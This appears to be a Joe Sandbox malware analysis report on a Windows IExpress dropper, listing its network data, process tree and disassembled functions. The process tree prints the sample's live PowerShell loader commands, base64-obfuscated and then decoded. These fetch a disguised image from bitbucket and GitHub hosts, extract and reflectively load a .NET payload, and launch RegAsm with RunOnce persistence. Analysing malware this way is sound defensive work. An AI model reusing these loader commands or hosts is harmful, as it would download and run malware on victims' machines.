ferTgD/nferTgD5/ferTgD5n//5nferTgD/rferTgD5/ferTgD5n//5nferTgD/nferTgD5/verTgD6r//6rverTgD/rverTgD6//erTgD6r//7v/erTgD/v/erTgD7/verTgD6r//6r/erTgD/v/erTgD7//erTgD7r//7v/erTgD/z/erTgD7/P/8z//8zP//zP/8/P/8v//7vP//z/erTgD8//erTgD7z//8zP//zP/8/P/83//8zP///3fe
2024-10-07 07:33:23 UTC	1024	IN	Data Raw: 2f 34 6a 50 65 72 54 67 44 2f 53 4c 74 30 2f 37 73 7a 4f 2f 66 31 55 54 39 2f 53 4c 74 30 2f 7a 4d 7a 4d 2f 50 7a 4d 33 38 2f 53 4c 74 30 2f 76 39 32 62 2f 50 31 55 54 39 2f 4a 6e 63 79 2f 54 39 30 54 2f 76 79 4b 72 38 2f 62 76 39 32 2f 2f 39 33 66 2f 50 79 49 6a 38 2f 59 6a 4e 32 2f 50 39 30 55 2f 50 30 51 44 39 2f 54 50 74 30 2f 54 4e 31 55 2f 76 31 57 62 39 2f 31 58 66 39 2f 58 76 39 31 2f 76 39 31 62 2f 2f 32 62 76 39 2f 48 6f 67 42 65 72 54 67 44 2f 4b 72 6f 79 2f 70 6b 43 4b 2f 6a 53 4b 6e 38 50 4b 6f 63 79 2f 6e 63 69 4a 2f 62 79 4a 6c 38 76 4a 6d 51 79 2f 6c 55 43 4a 2f 54 53 4a 6a 38 50 4a 6b 49 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 38 2f 49 6a 45 79 2f 6a 4d 53 49 2f 50 79 49 68 34 2f 49 6a 45 79 4a 6a Data Ascii: /4jPerTgD/SLt0/7szO/f1UT9/SLt0/zMzM/PzM38/SLt0/v92b/P1UT9/Jncy/T90T/vyKr8/bv92//93f/PyIj8/YjN2/P90U/P0QD9/TPt0/TN1U/v1Wb9/1Xf9/Xv91/v91b//2bv9/HogBerTgD/Kroy/pkCK/jSKn8PKocy/nciJ/byJl8vJmQy/lUCJ/TSJj8PJkIy/jMSI/PyIh8/IjEy/jMSI/PyIh8/IjEy/jMSI/PyIh4/IjEyJj
2024-10-07 07:33:23 UTC	16384	IN	Data Raw: 65 72 54 67 44 2f 6d 62 75 35 2f 4c 75 34 68 2f 50 36 6f 6a 65 72 54 67 44 2f 6d 62 75 35 2f 76 65 72 54 67 44 36 72 2f 2f 36 72 76 65 72 54 67 44 2f 68 48 65 34 2f 66 65 72 54 67 44 35 6e 2f 66 35 6c 58 65 72 54 67 44 2f 6a 50 75 34 2f 54 4f 35 6b 2f 2f 36 72 76 65 72 54 67 44 2f 6d 62 75 35 2f 7a 4f 37 72 2f 66 36 71 6e 65 72 54 67 44 2f 6b 54 4f 35 2f 76 65 72 54 67 44 36 72 2f 66 34 68 48 65 72 54 67 44 2f 73 7a 4f 37 2f 4c 75 34 69 2f 50 36 6f 6a 65 72 54 67 44 2f 72 76 65 72 54 67 44 36 2f 62 65 72 54 67 44 35 6e 2f 50 37 73 7a 65 72 54 67 44 2f 73 7a 65 37 2f 6a 65 36 70 2f 66 37 74 33 65 72 54 67 44 2f 73 33 4f 37 2f 33 65 37 74 2f 2f 37 77 44 2f 2f 74 33 65 37 2f 6e 65 36 70 2f 50 38 77 44 2f 2f 31 58 66 39 2f 58 76 39 32 2f 66 39 31 58 2f 2f 32 Data Ascii: erTgD/mbu5/Lu4h/P6ojerTgD/mbu5/verTgD6r//6rverTgD/hHe4/ferTgD5n/f5lXerTgD/jPu4/TO5k//6rverTgD/mbu5/zO7r/f6qnerTgD/kTO5/verTgD6r/f4hHerTgD/szO7/Lu4i/P6ojerTgD/rverTgD6/berTgD5n/P7szerTgD/sze7/je6p/f7t3erTgD/s3O7/3e7t//7wD//t3e7/ne6p/P8wD//1Xf9/Xv92/f91X//2

Target ID:	0
Start time:	03:33:11
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\OTO2wVGgkl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\OTO2wVGgkl.exe"
Imagebase:	0x7ff6975a0000
File size:	164'352 bytes
MD5 hash:	63AF3844E6D0A5FA89DA17713CE1FB59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:33:11
Start date:	07/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c 123.vbs
Imagebase:	0x7ff7f0930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:33:12
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:33:12
Start date:	07/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs"
Imagebase:	0x7ff6e7ad0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:33:12
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#Ng#w#G8#c##v#HM#Z#Bh#G8#b#Bu#Hc#bwBk#C8#dwBx#HQ#cgBl#HQ#cgBl#C8#awBy#HU#cgBl#G0#b#B1#HI#LwBn#HI#bw#u#HQ#ZQBr#GM#dQBi#HQ#aQBi#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:33:12
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:33:14
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:33:23
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x720000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:33:23
Start date:	07/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	31.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.6%
Total number of Nodes:	928
Total number of Limit Nodes:	44

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6975A40C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6975A4154
CompareStringA.KERNEL32 ref: 00007FF6975A421B

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

CompareStringA.KERNEL32 ref: 00007FF6975A4313
GetProcAddress.KERNEL32 ref: 00007FF6975A43AF
FreeLibrary.KERNEL32 ref: 00007FF6975A4480
LocalFree.KERNEL32 ref: 00007FF6975A44B0
FreeLibrary.KERNEL32 ref: 00007FF6975A44D3
LocalFree.KERNEL32 ref: 00007FF6975A44E2

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A43E6, 00007FF6975A46B3
ADMQCMD, xrefs: 00007FF6975A41D2
SHOWWINDOW, xrefs: 00007FF6975A4178
REBOOT, xrefs: 00007FF6975A4123
USRQCMD, xrefs: 00007FF6975A41E3
POSTRUNPROGRAM, xrefs: 00007FF6975A42D4
52352352352, xrefs: 00007FF6975A43CE
RUNPROGRAM, xrefs: 00007FF6975A4244
<None>, xrefs: 00007FF6975A41FD, 00007FF6975A42F5
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF6975A46C9
wextract_cleanup0, xrefs: 00007FF6975A4636, 00007FF6975A46F9
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF6975A4605
DoInfInstall, xrefs: 00007FF6975A43A5, 00007FF6975A4526
advpack.dll, xrefs: 00007FF6975A4579

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: 52352352352$<None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-157190445
Opcode ID: 47eb29a787de270268fb154fbc2d409703058abd89df6d54f7005b929927f1b1
Instruction ID: 148114e4ceea375a9e08866cd2c0a0db8f9b2560fa6354b38cf00a7bd61349e3
Opcode Fuzzy Hash: 47eb29a787de270268fb154fbc2d409703058abd89df6d54f7005b929927f1b1
Instruction Fuzzy Hash: 5602A171A0878286FBF89B54E8406BA7BA0FF847E4F5441B5DA4E83694DF3CE945C720

Function 00007FF6975A1D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6975A1D6A
memset.MSVCRT ref: 00007FF6975A1D78
RegCreateKeyExA.KERNELBASE ref: 00007FF6975A1DBA

Part of subcall function 00007FF6975A114C: _vsnprintf.MSVCRT ref: 00007FF6975A1189

RegQueryValueExA.KERNELBASE ref: 00007FF6975A1E0F
RegCloseKey.ADVAPI32 ref: 00007FF6975A1E2E
GetSystemDirectoryA.KERNEL32 ref: 00007FF6975A1E4C
LoadLibraryA.KERNELBASE ref: 00007FF6975A1E6E
GetProcAddress.KERNEL32 ref: 00007FF6975A1E90
FreeLibrary.KERNELBASE ref: 00007FF6975A1EA9
GetSystemDirectoryA.KERNEL32 ref: 00007FF6975A1EC5
LocalAlloc.KERNEL32 ref: 00007FF6975A1F21
GetModuleFileNameA.KERNEL32 ref: 00007FF6975A1F64
RegCloseKey.ADVAPI32 ref: 00007FF6975A1F7D
RegSetValueExA.KERNELBASE ref: 00007FF6975A1FED
RegCloseKey.KERNELBASE ref: 00007FF6975A1FFE
LocalFree.KERNEL32 ref: 00007FF6975A200D

Strings

DelNodeRunDLL32, xrefs: 00007FF6975A1E86
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A1EEC
%s /D:%s, xrefs: 00007FF6975A1F99
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF6975A1FAE
wextract_cleanup%d, xrefs: 00007FF6975A1DD6
wextract_cleanup0, xrefs: 00007FF6975A1DE2, 00007FF6975A1DFD, 00007FF6975A1FD2
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF6975A1D8A
advpack.dll, xrefs: 00007FF6975A1E58

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-607953301
Opcode ID: 276e9805d9b7e1d57039d94b06db834f3dbf8df68e4bbb97ed4dd8757e439085
Instruction ID: d681a4fad019164715e56b109edabc687695848ea498c9625e710586c156d20a
Opcode Fuzzy Hash: 276e9805d9b7e1d57039d94b06db834f3dbf8df68e4bbb97ed4dd8757e439085
Instruction Fuzzy Hash: F481A632B08B8687EBA48F21E8402B9BBA4FB89BE4F4451B5DA4E87754DF3CD505C750

Function 00007FF6975A1684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF6975A1838
GetFileAttributesA.KERNEL32 ref: 00007FF6975A1852
LocalAlloc.KERNEL32 ref: 00007FF6975A18BF
GetPrivateProfileIntA.KERNEL32 ref: 00007FF6975A18FC
GetPrivateProfileStringA.KERNEL32 ref: 00007FF6975A193F
GetShortPathNameA.KERNEL32 ref: 00007FF6975A19AC

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Strings

setupapi.dll, xrefs: 00007FF6975A19BA
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF6975A19CE
DefaultInstall, xrefs: 00007FF6975A18DC
AdvancedINF, xrefs: 00007FF6975A1929
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A17B0
.INF, xrefs: 00007FF6975A181A
.BAT, xrefs: 00007FF6975A1A31
Command.com /c %s, xrefs: 00007FF6975A1A60
Version, xrefs: 00007FF6975A1930
Reboot, xrefs: 00007FF6975A18EB
setupx.dll, xrefs: 00007FF6975A19A5

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3614570713
Opcode ID: 137c5f28b5b86e8721d426d5fc1592b78fb4194462560af86aa0c2ab9f656457
Instruction ID: d75d3ae7e22d2d7f82a9d11e80388bf0773fa02a3fd47cf894ebde2de7870acf
Opcode Fuzzy Hash: 137c5f28b5b86e8721d426d5fc1592b78fb4194462560af86aa0c2ab9f656457
Instruction Fuzzy Hash: 2EE19E62A0878685EFB98F20A4002BA77B1FB457E4F9441B6DA4DC7B95DF3DD909C320

Function 00007FF6975A66C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
